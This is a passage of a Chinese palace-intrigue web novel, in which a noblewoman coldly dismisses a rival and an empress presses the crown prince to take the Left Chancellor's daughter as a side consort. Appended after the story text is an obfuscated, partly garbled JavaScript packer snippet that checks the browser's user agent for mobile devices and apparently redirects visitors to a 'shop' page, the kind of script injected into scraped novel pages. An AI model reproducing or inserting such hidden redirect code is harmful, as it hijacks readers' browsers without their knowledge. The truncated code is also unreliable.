苻瑾瑶直起身,理了理衣襟,语气重新变得淡漠:“因为这是你自己做的事情。”
她看着沈清沅眼底的绝望,一字一句道:“做了恶事,就该承担后果;想借着旁人的命运往上爬,就该知道,你会失去什么。”
“让你离开京城,让你眼睁睁看着自己求而不得的一切都成泡影,让你在偏远之地慢慢熬日子,这才是对你最狠的惩罚,不是吗?”
话音刚落,亭外的雨忽然停了。天光透过云层洒下来,落在苻瑾瑶的衣摆上,镀上一层浅淡的金光。
她不再看沈清沅,转身施施然走出亭子,裙摆扫过亭中积水,留下浅浅的水痕。
沈清沅僵在原地,直到苻瑾瑶的身影彻底消失在回廊尽头,才缓缓蹲下身,将脸埋进掌心。帕子被攥得皱成一团,泪水像断了线的珠子,砸在上面晕开深色的痕迹,混着掌心的刺痛。
她的处境,甲之蜜糖,乙之砒霜。
沈清沅到底是在哭要离开上锦,还是,在哭终于要离开上锦了。
这不是苻瑾瑶关心的事情。
——
鸾凤宫。
周皇后坐在铺着紫貂绒垫的宝座上,指尖捏着一方绣着鸾鸟的锦帕。
她目光落在萧澈身上,语气带着长辈的关切:“近来东宫事务繁杂,你身子可还撑得住?昨儿听内侍说,你又熬夜批奏折了。”
萧澈立在殿中,玄色太子常服衬得他身姿挺拔,脸上没什么多余神情,只淡淡颔首:“劳姨母挂心,儿臣无碍。东宫有属官辅佐,事务尚算顺遂。”
他的回答滴水不漏,既应了关心,又没留出半分可深聊的余地。
自他被立为太子,不应该说是,从最开始到现在,她与这位姨母之间,便总隔着层若有似无的距离,关乎政事与私密,从不多言。
周皇后指尖轻轻摩挲着帕子,似早习惯了他的疏离,却还是话锋一转,切入正题:“你也老大不小了,过了年就二十有二,你祖父前些日子还同本宫提,说该替你考虑婚事了。”
她抬眼看向萧澈,目光里带着不容回避的急切:“如今朝堂局势你也清楚,怀王有右相撑着,声势日渐起来。你若能争取到左相......”
萧澈眉梢微不可察地蹙了一下,眼底掠过一丝抗拒,却还是耐着性子听着。
“本宫知道,你不愿娶母家势力太强的女子做正妃,怕落人口实。”周皇后放缓了语气,像是在体谅他:“可侧妃总无妨。左相的二女儿向岁安,虽说性子软了些,模样却是周正的,家世又能给你助力。做个侧妃,既不算委屈她,也能拉拢左相,一举两得。”
“姨母。”萧澈终于开口打断她,语气里带着几分无奈。
“如今儿臣刚立为太子,陛下最忌皇子私下拉帮结派。这般急切联姻,反而会让陛下不喜。况且,东宫尚有诸多事务待理,婚事并非眼下首要之事。”
这到底是真的,但是这话到底有没有萧澈的其他心思,就未尝可知了。
说罢,萧澈回忆了一下,补充道:“而且,向二小姐似乎已经有了心上人,我无意棒打鸳鸯。”
周皇后脸色微沉,捏紧了手中的帕子,指尖泛白:“本宫没有孩子,你是我在这宫里唯一的依仗。我做这些,难道会害你?左相在文官里声望不低,若能拉拢过来,你往后的路会好走太多。”
“再者,向姑娘纵有心中所爱,那又如何?”她语气里多了几分现实的冷硬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16